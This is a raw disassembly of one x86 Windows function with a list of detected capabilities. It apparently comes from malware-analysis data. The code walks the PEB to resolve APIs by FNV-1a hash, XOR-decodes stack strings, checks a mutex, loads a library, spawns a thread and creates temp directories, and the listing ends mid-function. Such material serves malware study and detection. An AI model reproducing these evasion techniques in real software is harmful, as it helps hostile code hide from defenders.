Function at 0x4a5a2e
Capabilities:
Access peb ldr_data
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x551b75
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xaa8
push esi
push edi
mov dword [ebp - 0x54], 0
push dword [0x58abcc]
call fcn.0052424e
add esp, 4
mov ecx, 0x58abbc
call fcn.004aba80
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x4a4578
mov ecx, 0x58abbc
sub edi, eax
call fcn.004aba80
mov esi, eax
lea eax, [ebp - 0x658]
mov ecx, eax
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x658]
push edi
push esi
call fcn.00410090
mov dword [ebp - 4], 2
mov ecx, 0x58abbc
call fcn.0040fe10
lea eax, [ebp - 0x658]
mov ecx, 0x58abbc
push eax
call fcn.0040ffe0
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x658]
call fcn.0040fe10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x658]
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a467f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a467f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a4675
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a4658
cmp esi, 0x6dd8a845
je 0x4a4683
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a4640
mov eax, dword [eax]
jmp 0x4a4610
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x48], edi
mov edx, dword [edi + 0x3c]
mov esi, dword [edx + edi + 0x78]
mov eax, dword [edx + edi + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [edi + esi]
mov dword [ebp - 0x30], eax
cmp eax, edi
je 0x4a4727
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4a4727
mov eax, dword [eax + 0x20]
mov esi, dword [ecx + 0x18]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x2c], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4a471d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4a4700
cmp esi, 0x60993b9d
je 0x4a472b
mov eax, dword [ebp - 0x2c]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4a46e3
mov ecx, dword [ecx]
jmp 0x4a46b0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0x8000
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov edi, dword [0x58ab44]
mov esi, dword [0x58ab40]
push 0
push 2
push edi
push esi
call fcn.00543b50
mov ecx, dword [0x58ab48]
sub ecx, eax
mov eax, dword [0x58ab4c]
mov dword [ebp - 0x5c], ecx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x58], eax
mov eax, edi
mov edx, dword [ebp - 0x58]
xor eax, edx
or ecx, eax
je 0x4a47a3
add esi, dword [ebp - 0x5c]
mov dword [0x58ab40], esi
adc edi, edx
mov dword [0x58ab44], edi
test edi, edi
jl 0x4a47c8
jg 0x4a47b1
cmp esi, 0x186a0
jbe 0x4a47c8
xorps xmm0, xmm0
movlpd qword [0x58ab40], xmm0
mov edi, dword [0x58ab44]
mov esi, dword [0x58ab40]
push 0
push 2
push edi
push esi
call fcn.00543b50
mov ecx, dword [ebp - 0x5c]
sub ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x5c], ecx
sbb eax, edx
mov dword [0x58ab48], ecx
mov dword [ebp - 0x58], eax
xor ecx, esi
mov dword [0x58ab4c], eax
xor eax, edi
or ecx, eax
je 0x4a4808
add esi, dword [ebp - 0x5c]
mov dword [0x58ab40], esi
adc edi, dword [ebp - 0x58]
mov dword [0x58ab44], edi
test edi, edi
jl 0x4a4821
jg 0x4a4816
cmp esi, 0x186a0
jbe 0x4a4821
xorps xmm0, xmm0
movlpd qword [0x58ab40], xmm0
push 0
call fcn.0052c59b
add esp, 4
push eax
call fcn.0052424e
add esp, 4
call fcn.004163d0
mov eax, dword [0x58ab40]
xor dword [0x58ab48], eax
mov eax, dword [0x58ab44]
xor dword [0x58ab4c], eax
mov dword [ebp - 0x28], 0x619aa741
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x3f8], eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0x3f4], ecx
mov ecx, 0x58ac04
pxor xmm1, xmmword [ebp - 0x400]
push 0
push eax
movaps xmmword [ebp - 0x310], xmm1
call fcn.004ab870
test eax, eax
jne 0x4a49b7
call fcn.00428ed0
test al, al
je 0x4a49b2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a498f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a498f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a4985
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a4968
cmp esi, 0xe80fd3a
je 0x4a4993
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a4950
mov eax, dword [eax]
jmp 0x4a4920
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
jmp 0x4a49b7
call fcn.004290d0
call fcn.004163d0
mov eax, dword [0x58ab40]
xor dword [0x58ab48], eax
mov eax, dword [0x58ab44]
xor dword [0x58ab4c], eax
mov dword [ebp - 0x28], 0x619aa741
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x190]
mov dword [ebp - 0x5c8], eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x5c4], ecx
mov ecx, 0x58aba4
pxor xmm1, xmmword [ebp - 0x5d0]
push 0
push eax
movaps xmmword [ebp - 0x190], xmm1
call fcn.004ab870
test eax, eax
jne 0x4a4b58
call fcn.00429110
mov byte [ebp - 0x41], al
call fcn.00429200
mov byte [ebp - 0x5d], al
call fcn.00429840
cmp byte [ebp - 0x41], 0
jne 0x4a4ab5
cmp byte [ebp - 0x5d], 0
jne 0x4a4ab5
test al, al
jne 0x4a4ab5
call fcn.00428f10
test al, al
je 0x4a4b58
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a4b37
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a4b37
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a4b2d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a4b10
cmp esi, 0xe80fd3a
je 0x4a4b3b
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a4af1
mov eax, dword [eax]
jmp 0x4a4ac1
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [ebp - 0x28], 0x619aa741
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1a0]
mov dword [ebp - 0x5d8], eax
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x5d4], ecx
mov ecx, 0x58acac
pxor xmm1, xmmword [ebp - 0x5e0]
push 0
push eax
movaps xmmword [ebp - 0x1a0], xmm1
call fcn.004ab870
test eax, eax
jne 0x4a4c0d
lea ecx, [eax + 1]
call fcn.00429b60
mov dword [ebp - 0x28], 0x619aa741
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1b0]
mov dword [ebp - 0x5e8], eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x5e4], ecx
mov ecx, 0x58ac94
pxor xmm1, xmmword [ebp - 0x5f0]
push 0
push eax
movaps xmmword [ebp - 0x1b0], xmm1
call fcn.004ab870
test eax, eax
jne 0x4a4cbf
call fcn.0042ead0
mov dword [ebp - 0x28], 0x619aa741
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1c0]
mov dword [ebp - 0x5f8], eax
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x5f4], ecx
mov ecx, 0x58ac34
pxor xmm1, xmmword [ebp - 0x600]
push 0
push eax
movaps xmmword [ebp - 0x1c0], xmm1
call fcn.004ab870
mov edi, dword [0x58ab44]
test eax, eax
mov esi, dword [0x58ab40]
push 0
push 2
push edi
push esi
sete byte [ebp - 0x41]
call fcn.00543b50
mov ecx, dword [0x58ab48]
sub ecx, eax
mov eax, dword [0x58ab4c]
mov dword [ebp - 0x2c], ecx
sbb eax, edx
mov dword [0x58ab48], ecx
mov dword [ebp - 0x30], eax
xor ecx, esi
mov dword [0x58ab4c], eax
xor eax, edi
or ecx, eax
je 0x4a4dbf
add esi, dword [ebp - 0x2c]
mov dword [0x58ab40], esi
adc edi, dword [ebp - 0x30]
mov dword [0x58ab44], edi
test edi, edi
jl 0x4a4dd8
jg 0x4a4dcd
cmp esi, 0x186a0
jbe 0x4a4dd8
xorps xmm0, xmm0
movlpd qword [0x58ab40], xmm0
mov dword [ebp - 0x28], 0x6c81bc42
mov dword [ebp - 0x24], 0xc8309fd5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x28], 0x76742622
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3ac], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1d0]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x3a4], ecx
pxor xmm1, xmmword [ebp - 0x3b0]
movaps xmmword [ebp - 0x1d0], xmm1
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a4eef
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a4eef
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a4ee5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a4ec8
cmp esi, 0x53b2070f
je 0x4a4ef3
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a4eb0
mov eax, dword [eax]
jmp 0x4a4e80
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x1d0]
add eax, edx
push ecx
call eax
test eax, eax
je 0x4a885e
mov dword [ebp - 0x28], 0x4da19c62
mov dword [ebp - 0x24], 0xc814aeef
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x28], 0x76540602
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0x3b8], eax
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x3b4], ecx
pxor xmm1, xmmword [ebp - 0x3c0]
push eax
movaps xmmword [ebp - 0x1e0], xmm1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004c9c00
call fcn.00509210
push 0
push 0
push 0
push 0x438110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x58ab3c], 0xffffffff
jne 0x4a50ad
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a507f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a507f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a5075
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a5058
cmp esi, 0x2fa62ca8
je 0x4a5083
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a5040
mov eax, dword [eax]
jmp 0x4a5010
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x58ab3c], 0xffffffff
je 0x4a5000
mov ecx, 0x104
lea eax, [ebp - 0xaa0]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4a50c0
lea eax, [ebp - 0xaa0]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.004163d0
mov eax, dword [0x58ab40]
lea ecx, [ebp - 0x6e8]
xor dword [0x58ab48], eax
mov edx, 0xd
mov eax, dword [0x58ab44]
xor dword [0x58ab4c], eax
call fcn.0041a8f0
mov dword [ebp - 4], 6
mov dword [ebp - 0x28], 0x6a8ea752
mov dword [ebp - 0x24], 0xa709bec5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0x3c8], eax
lea eax, [ebp - 0x670]
mov dword [ebp - 0x3c4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x3d0]
movaps xmmword [ebp - 0x180], xmm1
mov dword [ebp - 0x3c], eax
call fcn.00410150
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x180]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a51c2
sub ecx, edx
lea eax, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x670]
call fcn.00410090
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xaa0]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a51f0
sub ecx, edx
lea eax, [ebp - 0xaa0]
push ecx
push eax
push 0
lea ecx, [ebp - 0x670]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x738]
call fcn.0040fca0
mov dword [ebp - 0x54], 1
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x6e8]
push eax
lea ecx, [ebp - 0x738]
call fcn.004abc20
push eax
lea ecx, [ebp - 0x720]
call fcn.0040fca0
mov ecx, 0x58ab8c
mov dword [ebp - 0x54], 3
call fcn.0040fe10
lea eax, [ebp - 0x720]
mov ecx, 0x58ab8c
push eax
call fcn.0040ffe0
mov esi, 3
mov dword [ebp - 0x54], esi
and esi, 0xfffffffd
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x720]
call fcn.0040fe10
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x720]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xa
and esi, 0xfffffffe
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x738]
call fcn.0040fe10
mov byte [ebp - 4], 9
lea eax, [ebp - 0x738]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x670]
call fcn.0040fe10
mov byte [ebp - 4], 6
lea eax, [ebp - 0x670]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], 0x709cba45
mov dword [ebp - 0x24], 0x890299c4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x28], 0x76184a3e
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0xc0]
mov dword [ebp - 0x3d8], eax
lea eax, [ebp - 0x688]
mov dword [ebp - 0x3d4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0x3e0]
movaps xmmword [ebp - 0xc0], xmm1
mov dword [ebp - 0x2c], eax
call fcn.00410150
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xc0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a5388
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
lea ecx, [ebp - 0x688]
call fcn.00410090
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xaa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a53b1
sub ecx, edx
lea eax, [ebp - 0xaa0]
push ecx
push eax
push 0
lea ecx, [ebp - 0x688]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x750]
call fcn.0040fca0
mov esi, dword [ebp - 0x54]
lea eax, [ebp - 0x6e8]
or esi, 4
lea edx, [ebp - 0x750]
push eax
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x54], esi
call fcn.004b03b0
add esp, 4
mov byte [ebp - 4], 0x19
and esi, 0xfffffffb
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x750]
call fcn.0040fe10
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x750]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x688]
call fcn.0040fe10
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x688]
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x1e
mov ecx, 0x58ab8c
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x4a546b
push 0
mov dl, 1
mov ecx, 0x58ab8c
call fcn.0041a270
add esp, 4
lea ecx, [ebp - 0x328]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x4a5493
push 0
mov dl, 1
lea ecx, [ebp - 0x328]
call fcn.0041a270
add esp, 4
push 0
mov ecx, 0x58ab8c
call fcn.004aba80
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x4a54c4
mov ecx, 0x58ab8c
call fcn.0042bf00
test al, al
je 0x4a845a
push 0
lea ecx, [ebp - 0x328]
call fcn.004aba80
push eax
call esi
test eax, eax
jne 0x4a5550
mov esi, dword [0x58ab44]
mov edi, dword [0x58ab40]
push eax
push 2
push esi
push edi
call fcn.00543b50
mov ecx, dword [0x58ab48]
sub ecx, eax
